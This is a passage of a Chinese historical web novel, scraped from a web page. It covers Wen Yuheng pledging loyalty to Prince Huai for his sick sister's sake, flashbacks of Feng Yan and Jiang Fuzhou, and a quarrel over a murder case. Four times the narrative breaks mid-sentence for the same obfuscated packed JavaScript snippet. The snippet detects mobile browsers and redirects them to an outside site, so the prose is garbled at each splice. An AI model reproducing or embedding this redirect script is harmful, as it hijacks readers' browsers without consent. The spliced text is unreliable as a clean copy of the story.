裹着碎布被子的小姑娘躺在床上,满脸通红,嘴上止不住的咳嗽,温予衡小心翼翼递过来的一勺水也被这几声咳音呛得直撒在了被上。 “不碍事,你再喝些水。” 小姑娘听话得点了点头,瘦削的脸庞没有一点肉,细细的手臂仿佛一折就断的枝条,一下抓住了温予衡的手,“哥哥,衣服放着我来洗,你先去读书吧,明年就要科考了,我吃了药就好了。” 接着又从被窝里头拿出两个鸡蛋来,瘦弱的小手得两只才能托得起来,“你昨晚给我的,我吃不下,国子监的廪膳有定量,给我了你就没有了,你多吃些补补身子,” 说着又是一阵剧烈的咳嗽,拉杂的嗓音一下一下好似刀割,划在他的心头,温予衡一把抹掉了眼角的泪水,尽量不让自己的声音颤抖。 “哥多得是呢,哥人缘好,大家有好吃的都会分给哥。”温予衡直接将鸡蛋在床前的木板上敲了敲,露出莹白的蛋白,他掰开来,剩下一般放碗里,另一半递给妹妹。 小姑娘久病晕红的脸扬起一抹笑意来,“我就知道,哥哥特别厉害,明年一定能考上。”接着她咽了咽口水,大口咬下一口鸡蛋来,脸上全是满足。 但下一秒,一口蛋黄噎在了她喉咙里,胃里的烧灼感让整个人都蜷缩起来,她下意识想要往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251947|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外吐,却还是不小心呕在了被上,手上的鸡蛋也滚落了一地,粘上了尘土,变得黯淡无光了。 还是六七岁的孩子,唰的一下她面色惨白,小手死命抓着被子想要擦干净,慌忙之下越擦越脏,嘴唇不住地抖着。 温予衡心如刀割,连忙将妹妹抱了起来,“脏了我们再换一床就是。” 虚弱地趴在温予衡肩上,小姑娘喘着气,小声说道,“没有被子了。” “哐当!” 这时一个膀大腰圆的妈妈走了进来,一看这个场景,就立刻哎呦出声,“哎呦我的九小姐,这糟蹋粮食也不是这样糟的,弄得乱七八糟,这不是存心添乱吗?还有外头的衣服,怎么还放着呢?” 温予衡气打不一处来,横眉冷竖,“没看到我妹妹病了吗?为什么还要她自己干活?” 那妈妈叉着腰,满脸不屑,语带嘲讽地看着他,“我当这是谁,原来是状元老爷呀,若是有本事就搬出温府,怎么还当自己是千金少爷千金小姐呢?衣服不洗等着谁来给你洗?可别指望老奴这一把老骨头还替您操劳。” “你这个大坏蛋,要不是你三年前给哥哥下药,他怎么会错过科考?” 妈妈冷笑,“这饭可以乱吃,话不能乱说,你哥哥没考上是他没本事,怪东怪西的算什么男人。” 小姑娘想要再说话,却再次呛声咳嗽起来,温予衡慢慢拍她的后背。 妈妈探出头来看小姑娘,更是哎呦了好几声,“这早晚咳好几天了,也不见好,怕不是肺痨吧。还吐在被子上,真是太脏了。” “你在胡说八道些什么?若不是你们拿了钱也不肯抓药,怎么会拖到今天?若不是我回来看,早被你们蒙骗了。” 那妈妈嫌弃地剔了剔牙,“就你那点破钱,够买几天药?她病怎么久,我有什么办法?”越想越觉得不对劲,她惊恐地跳了起来,恨不能离八百米远,眉头皱得能夹死一只苍蝇,“不行,我给去跟夫人说,不能把这病痨子留在府里。” 说完就急匆匆跑走了。 小姑娘怕得浑身发抖,小手死死抓着他的衣服“我听话我听话,不要赶我走,哥哥,我不要离开你。” 温予衡紧紧抱着她,哄着她说,“哥哥想办法,一定不会让你走的。” 心里乱糟糟的,他还能留在府上不过是因为他还能同小郡王玩在一起,可三年下来,他除了读书没有别的本事,不能同小郡王关系再好些,且小郡王也无法管到后宅内院的事情里来。 突然,他定住了,面上露出纠结的神色,好一会才下定决心。 温予衡将骨瘦如柴的妹妹轻轻放在床边,实在找不到第二床干净的被子,只好换了一边头再次盖在了她的身上,摸了摸她的额头,“等着哥哥,哥哥一定想到办法。” 说完就大踏步走出了门,看到了院里正在玩弹珠的小喜子,从腰间拿出几枚铜钱来,递给他,让他先暂时照料一下他的妹妹。 小喜子喜笑颜开,一溜烟就跑进屋内,眼珠子一下就凝在了碗里的半边鸡蛋上,又鬼头鬼脑地看了眼温予衡走远了,于是连滚带爬地跑过去将鸡蛋胡乱塞在嘴里,看了眼躺在床上小姑娘,替她捻了捻被子,然后老实地守在了床边,随手拿起一碗水咕咕喝个滚圆。 这厢出了府的温予衡一开始是走着的,到后面实在是着急,只得跑了起来,满头大汗地穿过了好几条街巷,顶着毒辣的日头,他用袖子抹掉额上的汗,气喘吁吁地撑着膝盖。 他远远看到了怀王府的大门,理了理身上杂乱的衣裳,努力深呼吸,不住起伏的胸膛不知是气快还是胆怯,想起还在府里生病的妹妹,他大踏步地走向了巍峨雄壮的府第。 门口守卫上前来,只见温予衡目光如电,斩钉截铁地说: “烦请通禀一下,在下国子监学生温予衡,有要事求见怀王殿下。” 13. 第十三章 一室静默,屋外横斜的竹林萧疏,淡金的光穿过六棱窗格,在红木案几上剪下斑驳的片影,滚热的茶汤冒着热气,雾云缭绕,泥炉煮沸的银丝炭散漫着松枝清气,流溢在屋内。 骨节分明的手指握在青瓷流云盏上,轻轻搁下的一声仿佛是一声贯耳的钟鸣,砸在了温予衡的耳畔,他紧紧抿唇,有些手脚无措,眼珠子只能黏在炭炉里,尽量让自己冷静下来。 “你若是一直站着不说话,现在便可以出去了。”封衍淡淡的目光落在了面前的茶饼上,用手碾磨着细末。 “扑通!” 闻言,温予衡立刻跪下,“小人举止无状,求王爷恕罪。” 封衍眼睛一直未痊愈,失血过多,视物时好时坏,茶汤的热气滚动经脉,他这才得空见见这位自己找上门的人。 “王爷这些年来对小郡王多加照拂,教之以诗书,授之以政务,亲身教导,孜孜不已。学生斗胆猜测王爷对小郡王寄予厚望。”他悄悄移了下眼神,希望能看到封衍的神情,但隔着珠帘,只能看到模糊的侧影。他深吸一口气,继续道:“但小郡王身边围着这些人良莠不齐,或有人另有所图,可小郡王却还舍身护着,长此以往,必会遗留后患。” 封衍手头把玩着茶钤,“不必拐弯抹角,但陈其志。” 温予衡已经紧张到额头上、手心手背全是汗,他攥着衣摆,猛地磕了一个响头,“求王爷让我留在小郡王的身边,我愿做王爷的棋子,替您看着徐方谨。他入京不久,却常徘徊各大赌坊,几月前偶遇小郡王,或是别有用心。他日若有异动,小人愿替王爷效犬马之劳。” “那日在东厂,若不是徐方谨替你挨了两棍,你都不一定能走出监牢。救命之恩,当恩将仇报?你这般的品性,让本王如何信你?” 温予衡脸色乍然惨白,他如何不知徐方谨曾于他有恩,只是眼下的情境,他已别无他法,只能铤而走险。 “王爷让徐方谨留在小郡王身边,无非是想对小郡王有所历练。若徐方谨于小郡王有害,您用小人在身边亦可防患于未然。”他一咬牙,“他日若徐方谨真的清白,危难之际我不过将命还给他便是。” 封衍抬眸,呷了一口茶汤,屈指在案几上轻敲,“你倒是有意思。听闻你在准备明年的科举,此时不静心温书,反而一心钻营,岂不得不偿失?若是登科及第,想必前程大好。” 温予衡知道这是表忠心的时候,他老老实实地再磕了一个头,“王爷有所不知,我若不另寻出路,便再无出头之日,两年前的科举,我遭府中人陷害才未曾参加。明年……还不知道有没有命入考场。” “人不为己,天诛地灭。求王爷让小人一试,小人定披肝沥胆,竭忠尽智。” 眼一闭,心一横,温予衡干脆咬紧牙关,“坊间传闻徐方谨同……怀王妃有相似之处,焉知不是他心有不轨,蓄意接近小郡王。” 怀王妃三个字一出,温予衡一刹那间感受到封衍骤然肃冷的气度,腿立时就软了,一颗心不受控地怦怦直跳。 换做寻常人此时定然连话都说不清,但温予衡却觉得自己摸到了些许的门道,“京都里谁人不知道当年王爷同王妃不和,徐方谨或被有心之人利用来离间王爷和小郡王,小郡王赤子之心,涉世未深,若被他人蛊惑,有朝一日,许会与王爷离心离德。” “收起你的小心思,日后为本王办事,不需你妄自揣测,自作聪明。” 温予衡强撑着的背突然软塌了下去,仿佛劫后余生,他又磕了几个头谢情,“谢王爷。” “再者,唤他靖远侯,亦或是征北将军。” 这句话一直萦绕在温予衡的脑海,等他踏出门槛,感受到乍现的天光落在他身上,他才有一阵阵的后怕涌上心头,手脚不听使唤,只麻木地走着。 思绪纷飞,他开始胡思乱想,怀王或许真的恨透了靖远侯,不然不会连提起称谓都这般计较。当年怀王受辱,被迫娶了靖远侯,天下有识之士无不切齿拊心。且靖远侯寻花问柳,在外育有一子,公然抱回府内凌辱怀王。 不过三年,靖远侯身败名裂,家破人亡。怀王在靖远侯身死那日另娶他人,但成婚当日新娘子却被愤然的靖远侯部下赵鸣柯被逼自尽。如此深仇大怨,致使怀王性情大变,想必积怨已深。 他的确耍了小聪明,说实话他也拿不准怀王对靖远侯的态度,但今日一见,或许恨意更多些。 管家一路将他送到了门口,一句话喊醒了一路神情恍惚心不在焉的温予衡,“温公子慢走”接着从怀中掏出一个锦袋来,“这里是五两银子,以后每月都会例银。其他的事王爷自有安排,请温公子静候佳音。” 温予衡将锦袋拿在手里,只感觉脚步悬浮,落不到实处。日头偏西,霞光划落在天际,这种不真实的错觉一直持续到他一路茫然地回到了温府,他照例从后门回去。 平日里无人问津的偏远小院此时却站满了人,素来趾高气昂的刘妈妈满脸讨好地站在了面容带笑温夫人和温大人身边。 其实温予衡已经筋疲力尽,倦容满面,但他还是敏锐抓住了他们话中的关键。 “你这孩子,怎么不早说,也该让我们有准备。怀王府刚刚派人来传话,今后你便跟在小郡王身边做个伴读。” 什么公侯王孙,在偌大京都里都是听个响,头一次能跟在他们身边,莫说是做个伴读,就是当个擦脚的奴仆,在温家这个小官家里都是莫大的荣耀。 一切贺往迎来熙熙攘攘,温予衡却在这鸡犬升天的祝颂里萌生出了莫大的悲凉,他自幼读孔孟圣贤,坚信终有一日报君黄金台,动为苍生谋,却不料有一日为了苟活不择手段。 “哥哥你怎么哭了。” 小姑娘抱着温予衡的脖子,用衣袖给他擦了擦眼泪,小小年纪的她并不懂什么是权势,什么是富贵,在她脑海里,一床干净的被子,一个热乎的鸡蛋,一碗热粥,就是极好的日子了。 温予衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251948|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在几层高阶之上,将怀里的人紧紧抱紧,眺望远方,仿佛这一刻他从不见天日的阴霾里破土而出。 *** 青越在静雪堂外来回踱步,满脸着急,“自从见过什么温公子,主子连晚膳都没有用,从未时一直坐到了现在,一直没有动静。” 青木长叹了一口气,忧心地看了眼大门紧闭的屋子,“莫急,主子自有安排。” 静寂的屋内如一滩死水,掀不起半点微澜,没有点灯,屋内唯一的光亮落在了素纱窗前,竹影飘摇,簌簌的声响似是磨纸声。银丝炭散发的松枝气变得冷些,裹挟着晚风,吹起了一室寂寒。 封衍没有焦距的目光落在了面前暗处,恍然他好似想起了建宁二年的元月。 已经半个月不肯出门的江扶舟也是一个人坐在这样的幽室内,在沙场上血流如注都未曾掉过眼泪的他此时默然垂泪。 封衍缓步走进来半蹲在他身边,很暗很暗,他看不清他的脸,只能感受到温热的泪落在手背上。 “四哥,我们不要他好不好?” 江扶舟颤抖的手紧紧抓住封衍,用极其惊恐的眼神看着他,说话语无伦次,“我不是人……是怪物,他会那么大…”他用手比划着,虚空划开,“会不是生下来只有一只手,一个眼睛……半边身子,他是怪物,我也是怪物……” 封衍握住江扶舟的手,尽量克制住情绪,“积玉,巫医说现在只剩这个法子了。若生下来……长得不好看,我们也好好养着他。” “我不要,我不要……太可怕了,好像是噩梦,怎么一直醒不过来……巫医呢,巫医呢?我不要他!” 封衍心如刀割,死命抱着已经濒临崩溃的江扶舟,“若是不生你就没命了,是我太自私了,要你承受这样的苦楚,可积玉,我只要你活着。若日后你不想见他,我便亲自照料他,你的那份账我来还。” “我本来就是该死之人……”江扶舟在他怀里拼命挣扎,哽咽失声,“我不要命了,我宁愿当时死在杀场上,也不要这样活着。”他喃喃自语,“我不要,我是怪物……” 江扶舟用力挣脱开封衍的怀抱,自顾自掀起床榻上的被褥钻了进去,将自己裹起来,塞在床榻的边缘靠窗的一角。 这时窗外走过两个侍女,她们两个的对话传到了屋内—— “王妃近来怎么总把自己关在旁人找不到的屋子里,王爷每日都在寻他。” “陛下厌弃,百官横眉,有家难回,这日日被人骂,换做是谁都受不了。前阵子又受了那么重的伤,险些连命都丢了。现在天大地大,也就剩王府能收留他了。” “王妃也太可怜了吧。” 脚步声渐渐走远了,似又是一片孤冷静默。 江扶舟声音很轻很轻,“我不要做怀王妃,我想回家。” 像是被一阵风吹散,散落成尘埃。 封衍哀声唤他,“积玉……” 却再也说不出半个字来。 14. 第十四章 金府管事的正守在门房,焦急地一直在踱步往外看,肚大肥圆的人走两步都气喘,他豆大的汗水不住地滴落,热的浑身汗湿,眯着眼淌着面上的汗珠,“不是说姑奶奶的车马今日就要到了吗?” 身旁的人扇子都摇出残影了,也探头看了看,“说是今天,早早就派人看了。舅老爷,你说这个姑奶奶是什么高门大户吗?没怎么听说呀,咋大清早夫人就开始着急了,还让您老亲自来接。” 正烦着的管事夺过扇子,给自己大力扇了两下,面上露出高深莫测的神色来,“小兔崽子你刚来没多久不知道也正常。”他凑近了些,“我们家老爷自幼丧父,姑奶奶一家便收留了老夫人和老爷,就连老爷科考路费使的银子都是姑奶奶给的,老夫人知恩,一向对姑奶奶一家恩待有加,都是念着当年落魄时的恩情。” 但说到这里,管事的撇撇嘴,圆溜溜的眼睛看了四周,用气声悄悄说,“不过这位姑奶奶脾气可不好,这些年没少打着我们家老爷的旗号在外头敛财。老夫人耳根子软,总念着恩情,没少帮衬着。” 话音刚落马车歇脚的一声长长的“吁——” 风风火火落车下来的人一袭如意青鸾银纹裙,一双丹凤眼轻挑,面皮拉紧显得严肃,眉宇间带了些郁气和躁烦,几步便走了进来,连个好脸色都没给上前殷勤的管家。 连珠炮一般的话毫不客气,“金知贤呢,现在马上带我去见他,我倒要问问他,还管不管他表弟了。” 来者不善,管家挂在脸上的笑容立刻就僵硬了,挂在面皮上像个提线木偶。但他立刻反应过来,小跑跟在她身边,“夫人舟车劳顿,先稍作休息,我家老夫人一大早吩咐人了一桌的江南菜,就等着您来叙叙话。” 张王氏听到这话倒是停下脚步来,冷笑一声看他,“老婆子哪还吃得下什么饭,嫂嫂是有心,怎么也没见她帮帮我家孝贵,眼见她自己日子过好了,就忘恩负义了不是?当年若不是我们家,金知贤连口饭都吃不上,更别说住怎么好的宅子。” 刚刚还在跟管家悄声说话的侍从在旁边看得目瞪口呆,哈喇子差点流出来,好歹金大人也是入阁拜相,深得圣心,在自家府宅里被这样点名道姓地教训,也是闻所未闻。 管家的根本拦不住人,张王氏铁了心地往里冲,一幅不找到金知贤誓不罢休的样子,他得了老夫人的令,先来请姑奶奶过去叙话,可眼下这个情形,如何使得? 张王氏显然对金府的格局了如指掌,马不停蹄地就直接往书房去,管家紧赶慢赶只得让人飞快去给老夫人和老爷报信。 但张王氏脚程太快,当金知贤得到消息的时候,远远便从院子里听到了大声嚷嚷的叫唤,他立时眉头紧皱,这几日不顺的气火也在心头郁积。 “你们是什么东西,也敢拦着我?今日我偏要见到金知贤,让他给我好好说道说道。” “姑妈,一大早怎么火气那么大?”金知贤穿着素净的海青色道袍,直面迎上了满脸怒容的张王氏。 管家识趣地让院里屋里伺候的人都出去,只留自己在一旁端茶送水,打点好一切之后自己也退了出去,在门外好生守着。 张王氏被人伏低做小讨好惯了,刚坐下便噼里啪啦倒豆子:“慈明这件事一定要帮帮你表弟。前两年他扯上了一个案子,被抓了然后找人疏通打点后又放了。可明明都已经结案了,谁知道今年突然翻出来说是冤案,府差上门来说是要抓你表弟。你也知道你姑母就这么一个儿子,要是有什么事姑母可怎么办啊。” 金知贤本心不在焉,姑母每次上门总有各种各样的事情相求,件件都急里忙慌的,可他听到冤案的时候,脑子不由得从千丝万缕的事中扯出一条来,顿时敲起了惊钟。 “您说的可是浙江的那起杀妻案?” 张王氏点头,“不错,就是此案,不是都结案,嫌犯已经认罪了吗?怎么还有人说这是冤案?慈明你可得好好管管你手下的人,怎么还找上门来了,若不是有人提前报信,现在你表弟还在牢里呢。” 金知贤一针见血,问出事情的关键来,“这个案子是不是他犯的?张孝贵他到底有没有杀人?” 张王氏立刻惊叫出声,“当然不是,我们孝贵一直是孝顺孩子,平日里连只鸡都不敢杀,怎么会杀人呢?分明是那些贪官污吏为了勒索钱财不分青红皂白诬陷他。” “姑母说的是,既然孝贵清清白白,姑母怎么担心他会被人抓走。”金知贤淡然地饮下一杯茶,眸色渐渐冷了下来。 他这姑母对他那个为非作歹的儿子溺爱至极,走着怕摔,跑着怕撞,从小锦衣玉食,将张孝贵宠成了一个四体不勤五谷不分的废物。他原以为张孝贵只是品性顽劣,没想到如今还扯上了命案。 张王氏一听这话猛地一拍案桌,怒气冲冲地看金知贤,“你这是什么意思,莫不是姑母说的话你不相信。你表弟平日里最是乖顺,怎么会犯下这样的命案?金知贤你有没有良心?好歹姑母也曾在你家落魄的时候给你一口饭吃,今日你富贵亨达,位极人臣了,便是这样报答姑母的吗?” 金知贤幽冷的目光落在了面容狰狞的张王氏身上,“姑母若是要这样,那便请回吧,家母年事已高,不必去叨扰。” 张王氏更加怒不可遏,所幸一屁股就坐在地上,扶着椅边大声哭喊起来,“我的老天爷呦,我那早死的大哥,怎么就生了你怎么个不孝的子孙,小时候白吃白喝我家,现在连你亲表弟出事你都置之不理,你这是要看着他去死呀。那些贪蠢的官员敲骨吸髓,你还不帮帮他,进牢子可不就没命了吗?” “我还不如一头撞死得了,让全天下的人看看你怎么没心没肺,逼死亲姑母的!”一哭二闹地用手帕抹着眼泪,说着就要装装样子往椅子上撞。 已经老眼昏花,走路腿脚不利索的金老夫人杵着拐杖就过来了,她年少丧夫,孤身一样养大幼子,无奈性子软和,没少受欺负,明明比张王氏大不了几岁,却似苍老了二十岁。 “贤哥儿,你姑母这是怎么了,坐下来好生说。”金老夫人边走边咳嗽。 张王氏一见她那耳根子软的寡嫂来了,立刻也就不装了,火速跳起来就去扶金老夫人,“我的亲嫂嫂啊,你可来了,再不管我家孝贵,他可要被人欺负死了。” 金老夫人拍了拍张王氏的手,“阿琳啊,慢慢说,贤儿肯定不会不管孝贵的。” “姑母,我最后问你一遍,张孝贵到底有没有掺和进去?”金知贤的忍耐已经到了极点,若不是顾着年迈的母亲,刚刚在张王氏撒泼打滚的时候他就让人绑起来扔回马车里去。 张氏无理取闹多年,也没见过金知贤有过这般的神色,当即心虚起来,半真不假的眼泪挂在面上显得滑稽,再出口时话语有了几句实的,“那个被杀的女子被她丈夫典卖还了赌债,买主是孝贵……孝贵同我也说,他也不知这是有家室的,只当是寻常人家的姑娘。不过他绝对没杀人,后来那个女子宁死不从,孝贵就放她回去了。许是夫妻俩闹了矛盾,夫君一气之下就将人杀了,却要将罪名赖在孝贵头上,这是什么天理?” 这错漏百出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251949|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话让金知贤沉思良久,张王氏也摸不透他的心思,只得用力绞手帕,惴惴不安地看他。 “姑母前头说,有人给张孝贵报信,意思是官府里头有人走风,让他逃了?那他现在就是逃犯。姑母急匆匆来京都,莫不是张孝贵就在这里。” 张王氏的脸色遽然惨白,捏着手帕的手也不自然地抖动了起来,如坐针毡,“不是…不是……我怎么知道孝贵现在在哪,我一个妇道人家,出了事只会往娘家跑。”她被金知贤将内里的里子掀了个底朝天,现在只能苦苦哀求他,“贤哥儿,你门路多,救救孝贵吧,他没杀人,我自己生的孩子我知道,他是顽劣了些……可他不可能杀人。” 金老夫人眼睛看不大清,听到平日里如何趾高气昂的小姑子这般也不好受,朝着金知贤看去,“贤儿,你姑母年纪也大了,膝下就孝贵一个儿子,先把事情弄清楚先,你也上心着。” 金知贤现在气到极点了都想发笑了,上心,现在怎么能不上心?犯案的可能是他表弟,负责初审的是他的学生,负责再审主审的还是他学生,他现在跳进黄河也洗不清了。 现在只看案情的真相到底是什么了。 近日来忙着陛下陵寝之事的金知贤早已筋疲力尽,但对着家中的两个长辈,他还是压下了躁意,“娘和姑母放心,这件事我肯定上心,不过需用些时日。烦请姑母先请回,若有消息,我再请姑母来。” 金知贤犀利的眼神落在她身上,“当然,若姑母有孝贵的音讯,也劝他早日去官府,倘若他真的青白,有我在,便没人敢害他。” 已经吓得六神无主的张王氏哪里再敢造次,讷讷点头后便落荒而逃。 金知贤送走母亲后,让管家进来,“立刻去信给齐璞,催他将这起案件的卷宗誊抄一份送来。” *** 刑部大堂,几位堂官正准备送封衍出部,身边跟着的几个有司的属官,乌泱泱一群人整列有序地站着。 “定王一案,多亏了王爷详加审查,铁面无私,才得还无辜百姓一个公道。”刑部侍郎边走边同封衍叙话。 身旁的人心思各异,听到堂官这话,心思就更活络了。论审案,刑部哪个官员不是刀山火海里爬上来的,可顶天就是审个公侯,哪里敢碰天家子孙。定王再罪大恶极,也是姓封,是天潢贵胄。 他们怪异的是封衍,从古自今没有太子被废后还能参政议政,甚至拉起铡刀砍向王孙贵戚。陛下的态度不明已是匪夷,但也没有人将其当做储君再看。封衍身染宿疾,非长命之相,再者,杀伐太重,且定王是他亲皇叔,在伦常上就有了瑕疵。 封衍视物不甚清,但他早已习惯,只是行步迟缓些,“往后的事要刑部多费心了,诸事纷繁,不必再送。” “这是刑部职所当为。”刑部侍郎挥手便让人下去了,又叫来自己的得意门生宋明川“今日国子监的监生来历事,依照刑部传统先行考定核查,琼羽,这件事就交给你了。” 宋明川点头应是,面色冷淡,便要拂袖而去。本来他就不愿意来送封衍,可老师非要他来露脸,以他同封衍现在的关系,多见一面仇冤就多一分。 国子监学生历事每年各部都会分到几个,不过是寻常的日程罢了,他也没太放在心上。 可宋明川转头的一瞬,蓦然愣住,看到院前人来人往里穿梭过的一张侧影,不禁失声。 “积玉。” 一时间还没散的几个刑部官员纷纷看了过来,一颗心吊到了嗓子眼里。 这怀王殿下还在呢…… 15. 第十五章 不过是几个刑部官员诧异的功夫,宋明川已经快步走去,步履匆匆,他脑海里一根弦紧紧绷着,穿梭过院前来往办事的人流,径直往徐方谨那一行列走去。 “嘶——” 一刹那间徐方谨的手腕被人抓起,听得耳边一声低呼,“积玉。” 有那么一瞬他差点以为自己原形毕露了,但很快他便看到了宋明川错愕失望的眸光,心下安定了大半。 手腕很快被人撒开,徐方谨对上宋明川转为冷淡的目光。 国子监领队的属官很快上前来,同宋明川解释了这是今年国子监前来刑部历事的监生。但宋明川一直钉在徐方谨身上的眼神未曾移开,属官同他禀报时都感受到了这份怪异,不由得也看向了徐方谨,胆战心惊,生怕徐方谨跟宋明川有血海深仇。 徐方谨不仅是给属官和宋明川盯着,更是被其他看过来的人瞩目着,他尴尬地咳嗽了两声,“这位大人……” 话没说完便被宋明川打断,“你们跟我来,今年国子监历事的监生由我分管。” 这下师出有名,大家才安下心来,但对于是宋明川来职掌此事,他们紧张的情绪又不受控地冒出来了。 “前日我表舅同我说,遇上刑部郭大人周大人赵大人就稳了。但若是宋明川宋大人和陆云袖陆大人,那可得小心了,他们俩在刑部是出了名的黑白无常,要求严苛,一丝不苟。” “谁说不是呢,前两年也是宋大人,历事的监生来了十多个,最后就只留下了几个,不是退回国子监就是又分到其他部去了。” 越说越慌乱,大家都提起了十二分的精神来。刑部虽苦累,但可以实打实的积累经验,拓宽人脉,朝内许多高官都曾出任过刑官。且如果得到堂官赏识,日后还有可能留部。 比起一众人的焦急,徐方谨显得有些心不在焉,他不经意转过头去看,便看到了许久没见的人出现在视野里,心脏不可遏制地抽痛起来。 封衍似是旧疾未愈,又染新病,行步迟缓却依旧朗月清风,一如他当年初见他时的气度。 阿爹说如果第一眼合眼缘的人难得,若是能交朋友便是人生幸事。九岁时初回京都,他什么都不懂,没见过的新衣服,没吃过的新鲜吃食,没玩过的新奇玩意。他想同许多人玩,却只会被扔泥巴,然后被人指着鼻子骂一句臭蛮子,所以很长的时间里他都一个人玩。 后来他偷偷跟巷口的乞丐学会了官话,能说一口流利的京都话。为了有朋友,他替人买糕点,给人送蹴鞠,帮/人/打/架。 可给人买糕点那人不给钱,恼羞成怒之后还用脚把全部糕点踩碎了,说是还给他的。给人送蹴鞠,他们在里头玩,他只能在外面艳羡地看着,偶尔给他们捡球,期待有一回他们能让他也玩一下,可从来都没有。帮/人/打/架,他很在行,总是把人打得鼻青脸肿,养病的阿娘气得头脑发昏,可下一回帮打架的人和好了,轮到他被打了。 阿爹见他那么热切地交朋友,便安慰他说,每一个人都是孤单的,没有朋友也没什么大不了的。他偏不信邪,上房揭瓦,走街串巷,结交了不少“江湖侠客。”于是他就变成了远近闻名的纨绔子弟。 可他还是很孤独,特别是他在一场群斗中被人抛下,抱着头东躲西藏的时候。后来认识了简知许和赵鸣柯,但他俩都太乖太胆小,经常被困着读书习武,很少能出来玩。 第一次见到封衍的时候他就觉得特别合眼缘,虽然后来阿爹听完他的故事之后扶额沉默了一会,说他这是见色起意,但他不管,他觉得自己好像找到了一个新的准玩伴。 只是这个新玩伴好像不太乐意。 他第二次上山的时候,连门都没能进,垂头丧气地回家了。第四次第五次通禀之后再次被拒之门外,他就徘徊在来时的路上苦思冥想,爬山走累了想倦了他便找了块石头当床,呼呼大睡起来,谁知道一觉醒来他身上披了一件玄色的宽大衣袍,开心地差点蹦起来。 皇天不负有心人,封衍或许是在考验他的诚意,于是他将衣袍抱回家当宝一样放在床头供起来。 他开始学种花,学木活,练字习文……没错,他不大通文墨,在北境时野惯了,最是厌烦舞文弄墨,还不如打一架来的痛快。可他得学着写信,封衍不见他,总得了解了解他吧。 但在手艺活上他也许真没什么天分,养的花种子不发芽,于是他每次出门都到阿爹养花的后栏里偷摘几朵;做的木活也四不像,分不清头和身子,所以他就努力给这些心血起新名字。至于写字,他将自己的名字练几百遍,每次都选最好看最端正的,让封衍牢牢记住他叫什么就可以了。 三个多月,他一有时间就往山庄跑,连山间有几条小路,哪有兔子窝都摸得一清二楚,就是从来没进去过门。 日子漫长,都等到了京都飘雪,他啃着干粮坐在石头上闷闷不乐,看着紧闭的大门和外头早已熟悉百遍的侍卫唉声叹气。迷迷糊糊间,他又睡着了。 却在醒来时看到头顶素白繁复的流云纹,他悄悄转头看,几层帷幔外,封衍端坐落笔,行云流水,好看极了。 “看好了就回去。” 不知何时,封衍抬眸看来,目光中满是疏离和冷淡。 冰冷冷的话让苦等了三个多月的江扶舟无法接受,于是他眼一闭,脚一挺,装死躺尸在床上,一把裹着被褥转过头去,喃喃给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251950|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己打气,“进来了进来了进来了终于进来!” 封衍:“……” *** “你在想什么?”温予衡用肘捅了捅发愣的徐方谨,再往前走就要撞墙了。 徐方谨回过神来,压住一阵的心悸,说了句没什么,但见到温予衡很快又想起别的事来,“上回你不是同我说你被分去礼部吗?” 温予衡挠了挠头,“可能刑部这边缺人,国子监忧虑这头退的人多了,多选几个进来,我就被挑上了。” 徐方谨也没太放在心上,快步跟着一列人穿过院门走远了。 这头的气氛可以说得上诡异,刑部侍郎鲜少有这种尴尬的时刻,无奈宋明川是自己的学生,在一众人等沉默无言以对的时候,他站住来打圆场。 “琼玉举止无状,请王爷恕罪。他面冷心热,总念着年少的情分,这几日又忙浙江的几件棘手的案子,头晕眼花,一时看岔了。” “年少情分……”封衍面色不改,但眸中沉了几分冷色。 听得刑部侍郎是心惊肉跳,怀王和靖远侯有深仇大怨怕是做不得假,他听出了封衍平静话里森寒的冷意。 现在只想回去抽刚刚说年少情分的自己一耳刮子。宋明川才智卓越,能力出众,是部里难得的好苗子,若是因为得罪怀王而仕途坎坷,那真是倒了血霉。 “本王看宋大人还是太闲了。” 刑部侍郎火速接话,“是是是,下官这就看看还有什么事务让他多上些心。” 